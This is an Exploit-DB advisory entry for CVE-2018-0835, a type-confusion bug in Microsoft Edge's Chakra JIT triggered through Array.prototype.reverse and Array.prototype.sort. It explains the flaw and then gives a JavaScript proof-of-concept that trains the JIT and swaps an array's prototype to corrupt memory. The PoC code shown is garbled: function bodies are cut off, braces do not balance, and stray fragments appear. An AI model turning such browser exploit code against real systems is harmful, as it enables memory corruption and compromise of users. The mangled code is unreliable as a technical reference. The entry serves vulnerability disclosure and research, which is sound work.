Microsoft Edge Chakra JIT - 'Array.prototype.reverse' Array Type Confusion

EDB-ID: 44079
Author: Google Security Research
Published: 2018-02-15
CVE: CVE-2018-0835
Type: Dos
Platform: Windows
Aliases: N/A
Advisory/Source: Link
Tags: Type Confusion
Vulnerable App: N/A

 This is simillar to the previous issue 1457. But this time, we use Array.prototype.reverse. 

Array.prototype.reverse can be inlined and may invoke EnsureNonNativeArray to convert the prototype of "this" to a Var array.
Call flow: JavascriptArray::EntryReverse -> FillFromPrototypes -> ForEachOwnMissingArrayIndexOfObject -> EnsureNonNativeArray

To make that happen, the prototype must be a native array. But this usually can't be fulfilled, since once it's set as a prototype, it gets converted to a Var array. To bypass this, we can use Array.prototype.sort.

Here's a snippet of JavascriptArray::EntrySort.
arr = JavascriptNativeFloatArray::ConvertToVarArray((JavascriptNativeFloatArray*)arr);
JS_REENTRANT(jsReentLock, arr->Sort(compFn));
arr = arr->ConvertToNativeArrayInPlace<JavascriptNativeFloatArray, double>(arr);

If "this" is a native array, the "sort" method first converts it to a Var array, sorts it, and then converts it back to the original type. So by setting it as a prototype in the compare function, we can make an object that its prototype is a native array.


function opt(arr, arr2) {

arr[0] = 1.1;
arr[0] = 2.3023e-320;

function main() {
let arr = [1.1, 2.2, 3.3];
arr.__proto__ = null; // avoid inline caching
delete arr[1]; // avoid doArrayMissingValueCheckHoist

let arr2 = [, {}];
arr2.__proto__ = {};
arr2.reverse = Array.prototype.reverse;

for (let i = 0; i < 10000; i++) {
opt(arr, arr2);
}, () => {
arr2.__proto__.__proto__ = arr;

opt(arr, arr2);


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